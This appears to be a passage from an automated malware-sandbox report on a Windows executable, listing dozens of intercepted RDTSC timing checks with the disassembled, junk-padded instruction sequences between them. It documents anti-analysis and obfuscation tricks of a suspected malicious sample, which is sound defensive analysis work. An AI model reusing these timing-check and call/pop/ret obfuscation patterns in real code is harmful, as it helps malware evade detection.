Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB782 second address: FCB78D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FFB34E3B6C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD274 second address: FCD27F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD27F second address: FCD283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCDDC1 second address: FCDDD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCDDD2 second address: FCDDD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCDDD8 second address: FCDDDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCDDDC second address: FCDE07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34E3B6CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FFB34E3B6D4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCE808 second address: FCE8A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007FFB34C126B8h 0x0000000f popad 0x00000010 push eax 0x00000011 push ecx 0x00000012 jmp 00007FFB34C126C0h 0x00000017 pop ecx 0x00000018 nop 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007FFB34C126B8h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 0000001Ah 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ebx 0x00000038 call 00007FFB34C126B8h 0x0000003d pop ebx 0x0000003e mov dword ptr [esp+04h], ebx 0x00000042 add dword ptr [esp+04h], 00000017h 0x0000004a inc ebx 0x0000004b push ebx 0x0000004c ret 0x0000004d pop ebx 0x0000004e ret 0x0000004f mov edi, dword ptr [ebp+122D376Bh] 0x00000055 sub esi, dword ptr [ebp+122D3598h] 0x0000005b mov edi, dword ptr [ebp+122D3A3Fh] 0x00000061 push 00000000h 0x00000063 push edx 0x00000064 pop edi 0x00000065 xchg eax, ebx 0x00000066 pushad 0x00000067 pushad 0x00000068 push eax 0x00000069 pop eax 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCE8A1 second address: FCE8C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop edi 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e jmp 00007FFB34E3B6D9h 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF182 second address: FCF18C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FFB34C126BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCFBDA second address: FCFBE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCFBE0 second address: FCFBE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD0863 second address: FD0868 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD062C second address: FD0630 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD0868 second address: FD0882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FFB34E3B6CCh 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91014 second address: F91019 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91019 second address: F9101F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD68C1 second address: FD68CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD68CB second address: FD68E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FFB34E3B6CDh 0x0000000b jo 00007FFB34E3B6C6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD68E6 second address: FD6905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b jmp 00007FFB34C126BEh 0x00000010 pushad 0x00000011 popad 0x00000012 pop eax 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6905 second address: FD690C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD7ABF second address: FD7AC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD8A26 second address: FD8A2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD8A2C second address: FD8A43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FFB34C126BAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD8A43 second address: FD8A49 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDACED second address: FDACF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDACF8 second address: FDACFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDACFC second address: FDAD02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDAD02 second address: FDAD2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34E3B6D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jp 00007FFB34E3B6CCh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDAD2C second address: FDAD32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDB333 second address: FDB356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFB34E3B6D9h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDB356 second address: FDB39C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 sub dword ptr [ebp+122D2261h], edi 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007FFB34C126B8h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 pushad 0x0000002a xor dl, 00000000h 0x0000002d mov bh, ch 0x0000002f popad 0x00000030 mov bx, cx 0x00000033 push 00000000h 0x00000035 mov bh, dl 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a jnp 00007FFB34C126BCh 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDB39C second address: FDB3A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC357 second address: FDC39F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007FFB34C126C6h 0x00000012 jmp 00007FFB34C126C1h 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC39F second address: FDC3CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 popad 0x00000008 nop 0x00000009 jns 00007FFB34E3B6C6h 0x0000000f push 00000000h 0x00000011 sub dword ptr [ebp+122D2EB7h], edx 0x00000017 push 00000000h 0x00000019 mov di, A123h 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 js 00007FFB34E3B6CCh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDD1F3 second address: FDD1FD instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FFB34C126B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDD1FD second address: FDD216 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jns 00007FFB34E3B6C6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jnp 00007FFB34E3B6C6h 0x00000016 push edi 0x00000017 pop edi 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDB58F second address: FDB5A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB34C126C5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF40D second address: FDF411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE0A0A second address: FE0A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FFB34C126C7h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007FFB34C126B8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE0A32 second address: FE0A37 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDD500 second address: FDD511 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FFB34C126B6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE1A5D second address: FE1A78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e js 00007FFB34E3B6C6h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push edx 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE1A78 second address: FE1B03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007FFB34C126B8h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 clc 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push edx 0x0000002b call 00007FFB34C126B8h 0x00000030 pop edx 0x00000031 mov dword ptr [esp+04h], edx 0x00000035 add dword ptr [esp+04h], 00000014h 0x0000003d inc edx 0x0000003e push edx 0x0000003f ret 0x00000040 pop edx 0x00000041 ret 0x00000042 jo 00007FFB34C126B6h 0x00000048 movzx ebx, dx 0x0000004b push 00000000h 0x0000004d call 00007FFB34C126C4h 0x00000052 sub edi, 3C9934A2h 0x00000058 pop edi 0x00000059 xchg eax, esi 0x0000005a jo 00007FFB34C126BEh 0x00000060 push edi 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE1B03 second address: FE1B0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE1B0E second address: FE1B12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE29F2 second address: FE29F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE1C42 second address: FE1CA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c sub ebx, 56E2B42Eh 0x00000012 mov dword ptr [ebp+1246795Ch], ebx 0x00000018 push dword ptr fs:[00000000h] 0x0000001f mov ebx, edx 0x00000021 mov ebx, dword ptr [ebp+122D23F2h] 0x00000027 mov dword ptr fs:[00000000h], esp 0x0000002e mov dword ptr [ebp+124798C2h], esi 0x00000034 movzx edi, si 0x00000037 mov eax, dword ptr [ebp+122D125Dh] 0x0000003d push edx 0x0000003e mov di, DBE1h 0x00000042 pop ebx 0x00000043 push FFFFFFFFh 0x00000045 je 00007FFB34C126B9h 0x0000004b mov bx, dx 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 jnc 00007FFB34C126B6h 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE1CA2 second address: FE1CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE8B56 second address: FE8B5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9A84 second address: FE9A8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9A8A second address: FE9A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9A8E second address: FE9A92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9A92 second address: FE9ADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b xor edi, dword ptr [ebp+12461490h] 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007FFB34C126B8h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d mov ebx, 492F49F9h 0x00000032 push 00000000h 0x00000034 mov bx, F942h 0x00000038 xchg eax, esi 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c ja 00007FFB34C126B6h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9ADE second address: FE9AF4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FFB34E3B6C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f jp 00007FFB34E3B6C6h 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2BC0 second address: FE2BC6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2BC6 second address: FE2BCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2BCB second address: FE2C66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FFB34C126B6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e jmp 00007FFB34C126BCh 0x00000013 mov bx, BBD0h 0x00000017 push dword ptr fs:[00000000h] 0x0000001e mov ebx, dword ptr [ebp+124615F3h] 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b push 00000000h 0x0000002d push esi 0x0000002e call 00007FFB34C126B8h 0x00000033 pop esi 0x00000034 mov dword ptr [esp+04h], esi 0x00000038 add dword ptr [esp+04h], 00000018h 0x00000040 inc esi 0x00000041 push esi 0x00000042 ret 0x00000043 pop esi 0x00000044 ret 0x00000045 mov edi, dword ptr [ebp+12468DA8h] 0x0000004b mov edi, dword ptr [ebp+122D382Fh] 0x00000051 mov eax, dword ptr [ebp+122D0119h] 0x00000057 push 00000000h 0x00000059 push edx 0x0000005a call 00007FFB34C126B8h 0x0000005f pop edx 0x00000060 mov dword ptr [esp+04h], edx 0x00000064 add dword ptr [esp+04h], 00000015h 0x0000006c inc edx 0x0000006d push edx 0x0000006e ret 0x0000006f pop edx 0x00000070 ret 0x00000071 mov edi, edx 0x00000073 mov dword ptr [ebp+1245F617h], ebx 0x00000079 push FFFFFFFFh 0x0000007b adc di, D2F0h 0x00000080 push eax 0x00000081 jns 00007FFB34C126C8h 0x00000087 push eax 0x00000088 push edx 0x00000089 push eax 0x0000008a push edx 0x0000008b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2C66 second address: FE2C6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2C6A second address: FE2C6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3C14 second address: FE3C1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE6DB0 second address: FE6DF1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FFB34C126B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007FFB34C126CAh 0x00000010 jmp 00007FFB34C126C4h 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 jmp 00007FFB34C126C1h 0x0000001d pushad 0x0000001e jno 00007FFB34C126B6h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE6DF1 second address: FE6E57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 sub dword ptr [ebp+124615F3h], ebx 0x0000000d mov bx, DB72h 0x00000011 push dword ptr fs:[00000000h] 0x00000018 mov bl, FAh 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 xor bh, 00000054h 0x00000024 mov eax, dword ptr [ebp+122D126Dh] 0x0000002a mov bh, ch 0x0000002c push FFFFFFFFh 0x0000002e push 00000000h 0x00000030 push ebx 0x00000031 call 00007FFB34E3B6C8h 0x00000036 pop ebx 0x00000037 mov dword ptr [esp+04h], ebx 0x0000003b add dword ptr [esp+04h], 00000015h 0x00000043 inc ebx 0x00000044 push ebx 0x00000045 ret 0x00000046 pop ebx 0x00000047 ret 0x00000048 jp 00007FFB34E3B6D2h 0x0000004e movzx edi, bx 0x00000051 push eax 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE6E57 second address: FE6E5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF186F second address: FF187B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 je 00007FFB34E3B6C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFADE9 second address: FFADEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFADEF second address: FFADF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFADF5 second address: FFADFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFADFB second address: FFAE35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34E3B6CCh 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a jnp 00007FFB34E3B6C6h 0x00000010 pop edi 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FFB34E3B6D7h 0x0000001b jl 00007FFB34E3B6C6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFAE35 second address: FFAE45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126BCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB0C2 second address: FFB0EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FFB34E3B6C8h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007FFB34E3B6CAh 0x00000013 jmp 00007FFB34E3B6CFh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB0EA second address: FFB0FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jng 00007FFB34C126B6h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB0FC second address: FFB102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB102 second address: FFB106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB234 second address: FFB255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FFB34E3B6C6h 0x0000000a jmp 00007FFB34E3B6D2h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB255 second address: FFB259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB259 second address: FFB27F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 ja 00007FFB34E3B6E7h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 jmp 00007FFB34E3B6D5h 0x00000016 rdtsc
